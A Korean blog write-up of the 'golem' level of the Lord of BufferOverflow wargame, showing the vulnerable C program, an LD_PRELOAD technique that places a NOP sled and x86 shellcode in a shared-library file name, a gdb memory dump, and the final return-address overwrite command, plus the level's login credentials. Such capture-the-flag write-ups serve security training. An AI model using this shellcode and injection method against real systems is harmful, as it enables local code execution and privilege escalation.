login : skeleton
password : shellcoder

[skeleton@localhost skeleton]$ cat golem.c /* The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); }
stack destroyer! buffer+48부터 스택을 모두 0으로 만든다. ret영역을 제외하고는 모두 0으로 만든다.
LD_PRELOAD을 이용하는 문제이다. 공유라이브러리를 이용한 공격을 할건데 C언어로 치면 stdio.h와 같은 라이브러리를 이용한 공격이다.
[Linux] LD_PRELOAD의 이해와 LD_PRELOAD를 이용한 함수 후킹 구현하기
안녕하세요. 오늘은 LD_PRELOAD를 이용해 함수 후킹을 구현해보려고 합니다. 최종적으로 SSL통신을 후킹하기 위해 SSL_write와 SSL_read를 후킹하여 프로그램에서 사용하는 통신을 출력하는 것이 목적입
blog.dork94.com
쉽게생각하자 내가 만든 공유라이브러리를 자동으로 로드되게 해서 내가 원하는 함수를 호출하면 libc.so가 아닌 attack.so 내 쉘코드를 실행시키는것이다.
[skeleton@localhost skeleton]$ vi aa.c [skeleton@localhost skeleton]$ cat aa.c void aa(){}
우선 aa라는 파일을 만들어줬다.
공유라이브러리 명으로 쉘코드를 올려주겠다.
[skeleton@localhost skeleton]$ gcc aa.c -fPIC -shared -o `python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
이것을 환경변수로 등록한다.
[skeleton@localhost skeleton]$ pwd /home/skeleton [skeleton@localhost skeleton]$ export LD_PRELOAD=`python -c 'print"/home/skeleton/" + "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
환경변수가 잘 들어갔는지 확인했다.
[skeleton@localhost skeleton]$ env PWD=/home/skeleton LD_PRELOAD=/home/skeleton/▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒^1ɱ2▒l▒▒▒u▒▒▒▒▒▒▒2▒Qi00tii0cjo▒▒QT▒⚱ REMOTEHOST=******** HOSTNAME=localhost.localdomain LESSOPEN=|/usr/bin/lesspipe.sh %s USER=skeleton
golem 파일을 gdb로 까서 ret값에 넣어준 라이브러리 주소를 찾아야한다.
여기서 너무 멀리있어서
x/1000x $esp-4000을 하고도 많이내렸다;
0xbffff50c: 0x08048599 0x00000031 0xffffffff 0xbffff570 0xbffff51c: 0xbffff56c 0x40013c00 0x4001a0d4 0x40010c9e 0xbffff52c: 0x40000814 0x400138d4 0x40001402 0x400002f4 0xbffff53c: 0x080482d0 0x080482d0 0xbffff58c 0x00000002 0xbffff54c: 0x40023fd0 0x40013c00 0x4000ba15 0x40013868 0xbffff55c: 0x40000814 0x400041b0 0x0804859c 0xbffff574 0xbffff56c: 0x40001528 0x000002c8 0x00000000 0x00000000 0xbffff57c: 0x00000000 0x00000001 0x40000824 0xbffff594 0xbffff58c: 0x400075bb 0x40017000 0x00002fb2 0x40013868 0xbffff59c: 0xbffff774 0x4000380e 0x40014478 0x6d6f682f 0xbffff5ac: 0x6b732f65 0x74656c65 0x902f6e6f 0x90909090 0xbffff5bc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5cc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5dc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5ec: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5fc: 0x90909090 0x90909090 0x90909090 0x90909090
nop이 올라간곳에 주소를 가져가서
./golem `python -c 'print"a"*44+"\xdc\xf5\xff\xbf"'`

cup of coffee
'Write-Up > LOB(lord of bufferoverflow)' 카테고리의 다른 글
[Lord Of BufferOverFlow] 13번 darkknight -> bugbear (0) | 2021.03.01 |
---|---|
[Lord Of BufferOverFlow] 12번 golem -> darkknight (0) | 2021.03.01 |
[Lord Of BufferOverFlow] 10번 vampire -> skeleton (0) | 2021.02.26 |
[Lord Of BufferOverFlow] 9번 troll -> vampire (0) | 2021.02.26 |
[Lord Of BufferOverFlow] 8번 orge -> troll (0) | 2021.02.26 |